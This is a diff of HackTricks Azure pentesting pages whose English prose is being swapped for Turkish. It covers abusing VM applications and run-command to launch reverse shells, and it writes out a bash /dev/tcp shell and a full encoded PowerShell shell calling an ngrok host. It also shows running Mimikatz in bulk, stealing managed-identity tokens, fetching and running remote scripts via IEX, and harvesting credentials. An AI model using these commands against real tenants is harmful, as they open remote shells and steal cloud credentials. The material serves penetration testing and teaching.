myReverseShellAppWin \ +--gallery-name myGallery \ +--location "West US 2" \ +--resource-group \ +--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \ +--install-command "powershell.exe -EncodedCommand $encodedCommand" \ +--remove-command "powershell.exe -EncodedCommand $encodedCommand" \ +--update-command "powershell.exe -EncodedCommand $encodedCommand" # Install the app in a VM to execute the rev shell ## Use the ID given in the previous output az vm application set \ - --resource-group \ - --name deleteme-win4 \ - --app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellAppWin/versions/1.0.0 \ - --treat-deployment-as-failure true +--resource-group \ +--name deleteme-win4 \ +--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellAppWin/versions/1.0.0 \ +--treat-deployment-as-failure true ``` - {{#endtab }} {{#endtabs }} ### `Microsoft.Compute/virtualMachines/runCommand/action` -This is the most basic mechanism Azure provides to **execute arbitrary commands in VMs:** +Bu, Azure'ın **VM'lerde rastgele komutlar çalıştırmak için sağladığı en temel mekanizmadır:** {{#tabs }} {{#tab name="Linux" }} - ```bash # Execute rev shell az vm run-command invoke \ - --resource-group \ - --name \ - --command-id RunShellScript \ - --scripts @revshell.sh +--resource-group \ +--name \ +--command-id RunShellScript \ +--scripts @revshell.sh # revshell.sh file content echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh ``` - {{#endtab }} {{#tab name="Windows" }} - ```bash # The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action # Execute a rev shell az vm run-command invoke \ - --resource-group Research \ - --name juastavm \ - --command-id RunPowerShellScript \ - --scripts @revshell.ps1 +--resource-group Research \ +--name juastavm \ +--command-id RunPowerShellScript \ +--scripts @revshell.ps1 ## Get encoded reverse shell echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64 @@ -314,62 +293,57 @@ echo "powershell.exe -EncodedCommand $encodedCommand" > revshell.ps1 Import-module MicroBurst.psm1 Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt ``` - {{#endtab }} {{#endtabs }} ### `Microsoft.Compute/virtualMachines/login/action` -This permission allows a user to **login as user into a VM via SSH or RDP** (as long as Entra ID authentication is enabled in the VM). +Bu izin, bir kullanıcının **VM'ye SSH veya RDP üzerinden kullanıcı olarak giriş yapmasına** olanak tanır (VM'de Entra ID kimlik doğrulaması etkinleştirildiği sürece). -Login via **SSH** with **`az ssh vm --name --resource-group `** and via **RDP** with your **regular Azure credentials**. +**SSH** ile **`az ssh vm --name --resource-group `** ve **RDP** ile **normal Azure kimlik bilgilerinizi** kullanarak giriş yapın. ### `Microsoft.Compute/virtualMachines/loginAsAdmin/action` -This permission allows a user to **login as user into a VM via SSH or RDP** (as long as Entra ID authentication is enabled in the VM). +Bu izin, bir kullanıcının **VM'ye SSH veya RDP üzerinden kullanıcı olarak giriş yapmasına** olanak tanır (VM'de Entra ID kimlik doğrulaması etkinleştirildiği sürece). -Login via **SSH** with **`az ssh vm --name --resource-group `** and via **RDP** with your **regular Azure credentials**. +**SSH** ile **`az ssh vm --name --resource-group `** ve **RDP** ile **normal Azure kimlik bilgilerinizi** kullanarak giriş yapın. ## `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` -All those are the necessary permissions to **create a VM with a specific managed identity** and leaving a **port open** (22 in this case). This allows a user to create a VM and connect to it and **steal managed identity tokens** to escalate privileges to it. - -Depending on the situation more or less permissions might be needed to abuse this technique. +Bunlar, **belirli bir yönetilen kimlik ile bir VM oluşturmak** ve **bir portu açık bırakmak** (bu durumda 22) için gerekli izinlerdir. Bu, bir kullanıcının bir VM oluşturmasına ve ona bağlanmasına ve **yönetilen kimlik jetonlarını çalarak** yetkileri artırmasına olanak tanır. +Duruma bağlı olarak, bu tekniği kötüye kullanmak için daha fazla veya daha az izin gerekebilir. ```bash az vm create \ - --resource-group Resource_Group_1 \ - --name cli_vm \ - --image Ubuntu2204 \ - --admin-username azureuser \ - --generate-ssh-keys \ - --assign-identity /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourcegroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity \ - --nsg-rule ssh \ - --location "centralus" +--resource-group Resource_Group_1 \ +--name cli_vm \ +--image Ubuntu2204 \ +--admin-username azureuser \ +--generate-ssh-keys \ +--assign-identity /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourcegroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity \ +--nsg-rule ssh \ +--location "centralus" # By default pub key from ~/.ssh is used (if none, it's generated there) ``` - ### `Microsoft.Compute/virtualMachines/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` -Those permissions are enough to **assign new managed identities to a VM**. Note that a VM can have several managed identities. It can have the **system assigned one**, and **many user managed identities**.\ -Then, from the metadata service it's possible to generate tokens for each one. - +Bu izinler, bir VM'ye **yeni yönetilen kimlikler atamak için** yeterlidir. Bir VM'nin birden fazla yönetilen kimliği olabileceğini unutmayın. **Sistem atanan bir kimliği** ve **birçok kullanıcı yönetilen kimliği** olabilir.\ +Daha sonra, metadata hizmetinden her biri için token'lar oluşturmak mümkündür. ```bash # Get currently assigned managed identities to the VM az vm identity show \ - --resource-group \ - --name +--resource-group \ +--name # Assign several managed identities to a VM az vm identity assign \ - --resource-group \ - --name \ - --identities \ - /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \ - /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2 +--resource-group \ +--name \ +--identities \ +/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \ +/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2 ``` - -Then the attacker needs to have **compromised somehow the VM** to steal tokens from the assigned managed identities. Check **more info in**: +Sonra saldırganın **VM'yi bir şekilde ele geçirmiş olması gerekiyor** atanan yönetilen kimliklerden token çalmak için. **daha fazla bilgi için kontrol edin**: {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm @@ -377,10 +351,6 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou ### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action -According to the [**docs**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), this permission lets you manage the OS of your resource via Windows Admin Center as an administrator. So it looks like this gives access to the WAC to control the VMs... +[**belgelere**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute) göre, bu izin, kaynağınızın işletim sistemini Windows Admin Center aracılığıyla bir yönetici olarak yönetmenizi sağlar. Bu, VM'leri kontrol etmek için WAC'ye erişim sağlıyormuş gibi görünüyor... {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-services/README.md b/src/pentesting-cloud/azure-security/az-services/README.md index 3a40a9dff..a017ab60f 100644 --- a/src/pentesting-cloud/azure-security/az-services/README.md +++ b/src/pentesting-cloud/azure-security/az-services/README.md @@ -2,28 +2,27 @@ {{#include ../../../banners/hacktricks-training.md}} -## Portals +## Portallar -You can find the list of **Microsoft portals in** [**https://msportals.io/**](https://msportals.io/) +**Microsoft portallarının listesini** [**https://msportals.io/**](https://msportals.io/) adresinde bulabilirsiniz. -### Raw requests +### Ham istekler -#### Azure API via Powershell +#### Azure API üzerinden Powershell -Get **access_token** from **IDENTITY_HEADER** and **IDENTITY_ENDPOINT**: `system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');`. - -Then query the Azure REST API to get the **subscription ID** and more . +**IDENTITY_HEADER** ve **IDENTITY_ENDPOINT**'ten **access_token** alın: `system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');`. +Ardından **subscription ID** ve daha fazlasını almak için Azure REST API'sini sorgulayın. ```powershell $Token = 'eyJ0eX..' $URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01' # $URI = 'https://graph.microsoft.com/v1.0/applications' $RequestParams = @{ - Method = 'GET' - Uri = $URI - Headers = @{ - 'Authorization' = "Bearer $Token" - } +Method = 'GET' +Uri = $URI +Headers = @{ +'Authorization' = "Bearer $Token" +} } (Invoke-RestMethod @RequestParams).value @@ -31,9 +30,7 @@ $RequestParams = @{ $URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resources?api-version=2020-10-01' $URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups//providers/Microsoft.Compute/virtualMachines/ func.HttpResponse: - logging.info('Python HTTP trigger function processed a request.') - IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT'] - IDENTITY_HEADER = os.environ['IDENTITY_HEADER'] - cmd = 'curl "%s?resource=https://management.azure.com&apiversion=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER) - val = os.popen(cmd).read() - return func.HttpResponse(val, status_code=200) +logging.info('Python HTTP trigger function processed a request.') +IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT'] +IDENTITY_HEADER = os.environ['IDENTITY_HEADER'] +cmd = 'curl "%s?resource=https://management.azure.com&apiversion=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER) +val = os.popen(cmd).read() +return func.HttpResponse(val, status_code=200) ``` +## Hizmetler Listesi -## List of Services - -**The pages of this section are ordered by Azure service. In there you will be able to find information about the service (how it works and capabilities) and also how to enumerate each service.** +**Bu bölümün sayfaları Azure hizmetine göre sıralanmıştır. Burada hizmet hakkında bilgi bulabileceksiniz (nasıl çalıştığı ve yetenekleri) ve ayrıca her hizmeti nasıl sayacağınızı da öğrenebileceksiniz.** {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-services/az-acr.md b/src/pentesting-cloud/azure-security/az-services/az-acr.md index 800b03b30..963f37c71 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-acr.md +++ b/src/pentesting-cloud/azure-security/az-services/az-acr.md @@ -2,14 +2,13 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -Azure Container Registry (ACR) is a managed service provided by Microsoft Azure for **storing and managing Docker container images and other artifacts**. It offers features such as integrated developer tools, geo-replication, security measures like role-based access control and image scanning, automated builds, webhooks and triggers, and network isolation. It works with popular tools like Docker CLI and Kubernetes, and integrates well with other Azure services. +Azure Container Registry (ACR), **Docker konteyner görüntülerini ve diğer varlıkları depolamak ve yönetmek için** Microsoft Azure tarafından sağlanan bir yönetilen hizmettir. Entegre geliştirici araçları, coğrafi çoğaltma, rol tabanlı erişim kontrolü ve görüntü taraması gibi güvenlik önlemleri, otomatik derlemeler, web kancaları ve tetikleyiciler ile ağ izolasyonu gibi özellikler sunar. Docker CLI ve Kubernetes gibi popüler araçlarla çalışır ve diğer Azure hizmetleriyle iyi bir şekilde entegre olur. -### Enumerate - -To enumerate the service you could use the script [**Get-AzACR.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Get-AzACR.ps1): +### Sayım +Hizmeti saymak için [**Get-AzACR.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Get-AzACR.ps1) betiğini kullanabilirsiniz: ```bash # List Docker images inside the registry IEX (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/NetSPI/MicroBurst/master/Misc/Get-AzACR.ps1") @@ -18,19 +17,15 @@ Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Internet Explorer\Main" -Name " Get-AzACR -username -password -registry .azurecr.io ``` - {{#tabs }} {{#tab name="az cli" }} - ```bash az acr list --output table az acr show --name MyRegistry --resource-group MyResourceGroup ``` - {{#endtab }} {{#tab name="Az Powershell" }} - ```powershell # List all ACRs in your subscription Get-AzContainerRegistry @@ -38,19 +33,12 @@ Get-AzContainerRegistry # Get a specific ACR Get-AzContainerRegistry -ResourceGroupName "MyResourceGroup" -Name "MyRegistry" ``` - {{#endtab }} {{#endtabs }} -Login & Pull from the registry - +Kayıt defterine giriş yapın ve çekin ```bash docker login .azurecr.io --username --password docker pull .azurecr.io/: ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-services/az-app-service.md b/src/pentesting-cloud/azure-security/az-services/az-app-service.md index d18a4d6ee..f88e06fd6 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-app-service.md +++ b/src/pentesting-cloud/azure-security/az-services/az-app-service.md @@ -1,43 +1,42 @@ -# Az - App Services +# Az - Uygulama Hizmetleri {{#include ../../../banners/hacktricks-training.md}} -## App Service Basic Information +## Uygulama Hizmeti Temel Bilgileri -Azure App Services enables developers to **build, deploy, and scale web applications, mobile app backends, and APIs seamlessly**. It supports multiple programming languages and integrates with various Azure tools and services for enhanced functionality and management. +Azure Uygulama Hizmetleri, geliştiricilerin **web uygulamaları, mobil uygulama arka uçları ve API'leri sorunsuz bir şekilde oluşturmasını, dağıtmasını ve ölçeklendirmesini** sağlar. Birden fazla programlama dilini destekler ve geliştirilmiş işlevsellik ve yönetim için çeşitli Azure araçları ve hizmetleri ile entegre olur. -Each app runs inside a sandbox but isolation depends upon App Service plans +Her uygulama bir sandbox içinde çalışır, ancak izolasyon Uygulama Hizmeti planlarına bağlıdır. -- Apps in Free and Shared tiers run on shared VMs -- Apps in Standard and Premium tiers run on dedicated VMs +- Ücretsiz ve Paylaşılan katmanlardaki uygulamalar paylaşılan VM'lerde çalışır. +- Standart ve Premium katmanlardaki uygulamalar özel VM'lerde çalışır. > [!WARNING] -> Note that **none** of those isolations **prevents** other common **web vulnerabilities** (such as file upload, or injections). And if a **management identity** is used, it could be able to **esalate privileges to them**. +> **Hiçbir** izolasyonun **diğer yaygın** **web güvenlik açıklarını** (örneğin dosya yükleme veya enjeksiyonlar gibi) **önlemediğini** unutmayın. Ve eğer bir **yönetim kimliği** kullanılıyorsa, bu kimlik **yetkileri artırma** yeteneğine sahip olabilir. -### Azure Function Apps +### Azure Fonksiyon Uygulamaları -Basically **Azure Function apps are a subset of Azure App Service** in the web and if you go to the web console and list all the app services or execute `az webapp list` in az cli you will be able to **see the Function apps also listed here**. +Temelde **Azure Fonksiyon uygulamaları, Azure Uygulama Hizmetleri'nin bir alt kümesidir** ve web konsoluna gidip tüm uygulama hizmetlerini listelediğinizde veya az cli'de `az webapp list` komutunu çalıştırdığınızda **Fonksiyon uygulamalarının da burada listelendiğini göreceksiniz**. -Actually some of the **security related features** App services use (`webapp` in the az cli), are **also used by Function apps**. +Aslında, Uygulama hizmetlerinin kullandığı bazı **güvenlik ile ilgili özellikler** (`webapp` az cli'de), **Fonksiyon uygulamaları tarafından da kullanılmaktadır**. -## Basic Authentication +## Temel Kimlik Doğrulama -When creating a web app (and a Azure function usually) it's possible to indicate if you want Basic Authentication to be enabled. This basically **enables SCM and FTP** for the application so it'll be possible to deploy the application using those technologies.\ -Moreover in order to connect to them, Azure provides an **API that allows to get the username, password and URL** to connect to the SCM and FTP servers. +Bir web uygulaması (ve genellikle bir Azure fonksiyonu) oluştururken, Temel Kimlik Doğrulama'nın etkinleştirilip etkinleştirilmeyeceğini belirtmek mümkündür. Bu, temelde **SCM ve FTP'yi** uygulama için etkinleştirir, böylece bu teknolojileri kullanarak uygulamayı dağıtmak mümkün olacaktır.\ +Ayrıca, onlara bağlanmak için Azure, **SCM ve FTP sunucularına bağlanmak için kullanıcı adı, şifre ve URL'yi almayı sağlayan bir API** sunar. -- Authentication: az webapp auth show --name lol --resource-group lol_group +- Kimlik Doğrulama: az webapp auth show --name lol --resource-group lol_group SSH -Always On +Her Zaman Açık -Debugging +Hata Ayıklama -### Enumeration +### Sayım {{#tabs }} {{#tab name="az" }} - ```bash # List webapps az webapp list @@ -101,15 +100,15 @@ az functionapp show --name --resource-group # Get details about the source of the function code az functionapp deployment source show \ - --name \ - --resource-group +--name \ +--resource-group ## If error like "This is currently not supported." ## Then, this is probalby using a container # Get more info if a container is being used az functionapp config container show \ - --name \ - --resource-group +--name \ +--resource-group # Get settings (and privesc to the sorage account) az functionapp config appsettings list --name --resource-group @@ -125,7 +124,7 @@ az functionapp config access-restriction show --name --resource-group # Get more info about a function (invoke_url_template is the URL to invoke and script_href allows to see the code) az rest --method GET \ - --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions?api-version=2024-04-01" +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions?api-version=2024-04-01" # Get source code with Master Key of the function curl "?code=" @@ -135,22 +134,18 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func # Get source code az rest --url "https://management.azure.com//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" ``` - {{#endtab }} {{#tab name="Az Powershell" }} - ```powershell # Get App Services and Function Apps Get-AzWebApp # Get only App Services Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"} ``` - {{#endtab }} {{#tab name="az get all" }} - ```bash #!/bin/bash @@ -170,21 +165,19 @@ list_app_services=$(az appservice list --query "[].{appServiceName: name, group: # Iterate over each App Service echo "$list_app_services" | while IFS=$'\t' read -r appServiceName group; do - # Get the type of the App Service - service_type=$(az appservice show --name $appServiceName --resource-group $group --query "kind" -o tsv) +# Get the type of the App Service +service_type=$(az appservice show --name $appServiceName --resource-group $group --query "kind" -o tsv) - # Check if it is a Function App and print its name - if [ "$service_type" == "functionapp" ]; then - echo "Function App Name: $appServiceName" - fi +# Check if it is a Function App and print its name +if [ "$service_type" == "functionapp" ]; then +echo "Function App Name: $appServiceName" +fi done ``` - {{#endtab }} {{#endtabs }} -#### Obtain credentials & get access to the webapp code - +#### Kimlik bilgilerini elde et ve web uygulaması koduna erişim sağla ```bash # Get connection strings that could contain credentials (with DBs for example) az webapp config connection-string list --name --resource-group @@ -202,17 +195,12 @@ git clone 'https://:@name.scm.azurewebsites.net/repo-name.gi ## In my case the username was: $nameofthewebapp and the password some random chars ## If you change the code and do a push, the app is automatically redeployed ``` - {{#ref}} ../az-privilege-escalation/az-app-services-privesc.md {{#endref}} -## References +## Referanslar - [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md b/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md index e0cf6a053..3dbaa06e7 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md +++ b/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md @@ -2,25 +2,24 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -[From the docs:](https://learn.microsoft.com/en-us/entra/identity/app-proxy/application-proxy) +[Belgelerden:](https://learn.microsoft.com/en-us/entra/identity/app-proxy/application-proxy) -Azure Active Directory's Application Proxy provides **secure remote access to on-premises web applications**. After a **single sign-on to Azure AD**, users can access both **cloud** and **on-premises applications** through an **external URL** or an internal application portal. +Azure Active Directory'nin Uygulama Proxy'si **yerel web uygulamalarına güvenli uzaktan erişim** sağlar. **Azure AD'ye tek oturum açma** işleminden sonra, kullanıcılar hem **bulut** hem de **yerel uygulamalara** bir **harici URL** veya bir iç uygulama portalı aracılığıyla erişebilir. -It works like this: +Şöyle çalışır:
-1. After the user has accessed the application through an endpoint, the user is directed to the **Azure AD sign-in page**. -2. After a **successful sign-in**, Azure AD sends a **token** to the user's client device. -3. The client sends the token to the **Application Proxy service**, which retrieves the user principal name (UPN) and security principal name (SPN) from the token. **Application Proxy then sends the request to the Application Proxy connector**. -4. If you have configured single sign-on, the connector performs any **additional authentication** required on behalf of the user. -5. The connector sends the request to the **on-premises application**. -6. The **response** is sent through the connector and Application Proxy service **to the user**. - -## Enumeration +1. Kullanıcı bir uç nokta aracılığıyla uygulamaya eriştikten sonra, kullanıcı **Azure AD oturum açma sayfasına** yönlendirilir. +2. **Başarılı bir oturum açma** işleminden sonra, Azure AD kullanıcının istemci cihazına bir **token** gönderir. +3. İstemci, token'ı **Uygulama Proxy hizmetine** gönderir; bu hizmet token'dan kullanıcı ilke adını (UPN) ve güvenlik ilke adını (SPN) alır. **Uygulama Proxy daha sonra isteği Uygulama Proxy konektörüne gönderir**. +4. Tek oturum açma yapılandırdıysanız, konektör kullanıcının adına gerekli olan herhangi bir **ek kimlik doğrulama** işlemini gerçekleştirir. +5. Konektör isteği **yerel uygulamaya** gönderir. +6. **Yanıt**, konektör ve Uygulama Proxy hizmeti aracılığıyla **kullanıcıya** gönderilir. +## Sayım ```powershell # Enumerate applications with application proxy configured Get-AzureADApplication | %{try{Get-AzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}} @@ -32,13 +31,8 @@ Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -eq "Name"} # to find users and groups assigned to the application. Pass the ObjectID of the Service Principal to it Get-ApplicationProxyAssignedUsersAndGroups -ObjectId ``` - -## References +## Referanslar - [https://learn.microsoft.com/en-us/azure/active-directory/app-proxy/application-proxy](https://learn.microsoft.com/en-us/azure/active-directory/app-proxy/application-proxy) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md b/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md index 6fcf24ecc..ddf667cfe 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md +++ b/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md @@ -2,18 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -[From the docs:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) To implement **infrastructure as code for your Azure solutions**, use Azure Resource Manager templates (ARM templates). The template is a JavaScript Object Notation (**JSON**) file that **defines** the **infrastructure** and configuration for your project. The template uses declarative syntax, which lets you state what you intend to deploy without having to write the sequence of programming commands to create it. In the template, you specify the resources to deploy and the properties for those resources. +[Belgelerden:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) **Azure çözümleriniz için kod olarak altyapı** uygulamak için Azure Resource Manager şablonlarını (ARM şablonları) kullanın. Şablon, projeniz için **altyapıyı** ve yapılandırmayı **tanımlayan** bir JavaScript Nesne Notasyonu (**JSON**) dosyasıdır. Şablon, neyi dağıtmayı planladığınızı belirtmenizi sağlayan deklaratif bir sözdizimi kullanır; böylece bunu oluşturmak için programlama komutlarının sırasını yazmanıza gerek kalmaz. Şablonda, dağıtılacak kaynakları ve bu kaynakların özelliklerini belirtirsiniz. -### History +### Tarihçe -If you can access it, you can have **info about resources** that are not present but might be deployed in the future. Moreover, if a **parameter** containing **sensitive info** was marked as "**String**" **instead** of "**SecureString**", it will be present in **clear-text**. +Erişim sağlayabiliyorsanız, gelecekte dağıtılabilecek ancak mevcut olmayan **kaynaklar hakkında bilgi** alabilirsiniz. Ayrıca, **hassas bilgi** içeren bir **parametre** "**SecureString**" yerine "**String**" olarak işaretlenmişse, bu **düz metin** olarak mevcut olacaktır. -## Search Sensitive Info - -Users with the permissions `Microsoft.Resources/deployments/read` and `Microsoft.Resources/subscriptions/resourceGroups/read` can **read the deployment history**. +## Hassas Bilgileri Ara +`Microsoft.Resources/deployments/read` ve `Microsoft.Resources/subscriptions/resourceGroups/read` izinlerine sahip kullanıcılar **dağıtım geçmişini okuyabilir**. ```powershell Get-AzResourceGroup Get-AzResourceGroupDeployment -ResourceGroupName @@ -23,13 +22,8 @@ Save-AzResourceGroupDeploymentTemplate -ResourceGroupName -Depl cat .json # search for hardcoded password cat | Select-String password ``` - -## References +## Referanslar - [https://app.gitbook.com/s/5uvPQhxNCPYYTqpRwsuS/\~/changes/argKsv1NUBY9l4Pd28TU/pentesting-cloud/azure-security/az-services/az-arm-templates#references](az-arm-templates.md#references) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md b/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md index 43e03e664..766d319d0 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md +++ b/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md @@ -2,54 +2,53 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -[From the docs:](https://learn.microsoft.com/en-us/azure/automation/overview) Azure Automation delivers a cloud-based automation, operating system updates, and configuration service that supports consistent management across your Azure and non-Azure environments. It includes process automation, configuration management, update management, shared capabilities, and heterogeneous features. +[Belgelerden:](https://learn.microsoft.com/en-us/azure/automation/overview) Azure Automation, Azure ve Azure dışı ortamlarınızda tutarlı yönetimi destekleyen bulut tabanlı bir otomasyon, işletim sistemi güncellemeleri ve yapılandırma hizmeti sunar. Süreç otomasyonu, yapılandırma yönetimi, güncelleme yönetimi, paylaşılan yetenekler ve heterojen özellikler içerir. -These are like "**scheduled tasks**" in Azure that will let you execute things (actions or even scripts) to **manage**, check and configure the **Azure environment**. +Bunlar, **Azure ortamını** **yönetmek**, kontrol etmek ve yapılandırmak için şeyleri (hareketler veya hatta betikler) **çalıştırmanıza** izin veren Azure'daki "**zamanlanmış görevler**" gibidir. -### Run As Account +### Çalıştırma Hesabı -When **Run as Account** is used, it creates an Azure AD **application** with self-signed certificate, creates a **service principal** and assigns the **Contributor** role for the account in the **current subscription** (a lot of privileges).\ -Microsoft recommends using a **Managed Identity** for Automation Account. +**Çalıştırma Hesabı** kullanıldığında, kendinden imzalı bir sertifika ile bir Azure AD **uygulaması** oluşturur, bir **hizmet ilkesi** oluşturur ve **mevcut abonelikte** hesap için **Katkıda Bulunan** rolünü atar (birçok ayrıcalık).\ +Microsoft, Automation Account için bir **Yönetilen Kimlik** kullanmayı önermektedir. > [!WARNING] -> This will be **removed on September 30, 2023 and changed for Managed Identities.** +> Bu, **30 Eylül 2023'te kaldırılacak ve Yönetilen Kimlikler için değiştirilecektir.** -## Runbooks & Jobs +## Çalışma Kitapları ve Görevler -**Runbooks** allow you to **execute arbitrary PowerShell** code. This could be **abused by an attacker** to steal the permissions of the **attached principal** (if any).\ -In the **code** of **Runbooks** you could also find **sensitive info** (such as creds). +**Çalışma kitapları**, **keyfi PowerShell** kodunu **çalıştırmanıza** olanak tanır. Bu, **ekli ilkenin** (varsa) izinlerini çalmak için bir **saldırgan tarafından kötüye kullanılabilir**.\ +**Çalışma kitaplarının** **kodunda** ayrıca **hassas bilgiler** (şifreler gibi) bulabilirsiniz. -If you can **read** the **jobs**, do it as they **contain** the **output** of the run (potential **sensitive info**). +Eğer **görevleri** **okuyabiliyorsanız**, bunu yapın çünkü **çalışmanın** **çıktısını** **içerir** (potansiyel **hassas bilgiler**). -Go to `Automation Accounts` --> `